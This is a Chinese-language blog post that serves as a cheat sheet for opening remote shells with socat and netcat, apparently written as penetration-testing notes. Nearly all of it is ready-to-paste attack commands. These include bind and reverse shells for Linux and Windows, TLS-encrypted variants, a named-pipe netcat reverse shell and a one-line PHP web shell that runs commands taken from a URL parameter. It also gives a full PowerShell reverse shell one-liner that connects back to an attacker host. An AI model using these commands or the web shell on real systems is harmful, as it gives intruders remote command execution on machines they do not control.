socat Shell通信工具使用

正向连接

普通通信

攻击机

socat TCP:<TARGET-IP>:<TARGET-PORT> -

目标机

windows

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

linux

socat TCP-L:<PORT> EXEC:"bash -li"

加密通信

先创建证书、生成 .pem 文件

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt; cat shell.key shell.crt > shell.pem

攻击机

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

verify=0 表示不验证服务器证书

目标机

linux

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:"bash -li"

windows

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

命名管道法

攻击机

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

目标机

nc <TARGET-IP> <TARGET-PORT>

反向连接

普通通信

攻击机

socat TCP-L:<port> -

目标机

window

socat TCP:<attacter-IP>:<attacter-PORT> EXEC:powershell.exe,pipes

注:"pipes"选项用于强制powershell (或 cmd.exe)使用 Unix 风格的标准输入和输出。

linux

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

更稳定高效方法-linux&tty技术

# 攻击机
socat TCP-L:<port> FILE:`tty`,raw,echo=0

# 目标机
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

注解:

  • pty ,在目标上分配一个伪终端——稳定过程的一部分
  • stderr ,确保所有错误消息都显示在 shell 中(这通常是非交互式 shell 的问题)
  • sigint ,将所有 Ctrl + C 命令传递到子进程中,允许我们终止 shell 内的命令
  • setsid ,在新会话中创建进程
  • sane,稳定终端,尝试使其“正常化”。

作用是将两个点连接在一起。在这种情况下,这两个点是一个监听端口和一个文件。具体来说,是将当前 TTY 作为文件传递,并将回显设置为零。这大致相当于在 netcat shell 中使用 Ctrl + Z、 stty raw -echo; fg技巧——额外的好处是可以立即稳定并挂接到完整的 tty。

Ctrl + Z、 stty raw -echo; fg技巧:它会关闭我们自己的终端回显(这使我们能够访问制表符自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。

powershell

先上传webshell:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

连接webshell,传入命令:

image-20250320133246896

# 目标机
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# 攻击机
nc -lnvp <port>

注意:url中传入的指令要经过url编码,不然无法正常执行

加密通信

先创建证书、生成 .pem 文件

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt; cat shell.key shell.crt > shell.pem

攻击机

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

verify=0 表示不验证服务器证书

目标机

linux

socat OPENSSL:<attacker-IP>:<attacker-PORT>,verify=0 EXEC:/bin/bash

window

socat OPENSSL:<attacker-IP>:<attacker-PORT> EXEC:powershell.exe,pipes

更稳定的方法-linux&tty技术

# 攻击机
socat OPENSSL-LISTEN:<PORT>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0

# 目标机
socat OPENSSL:<attacker-IP>:<attacker-PORT>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

命名管道法

攻击机

nc -lvnp <port>

linux

mkfifo /tmp/f; nc <attacker-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
posted @ 2025-12-04 16:29  shinianyunyan  阅读(0)  评论(0)    收藏  举报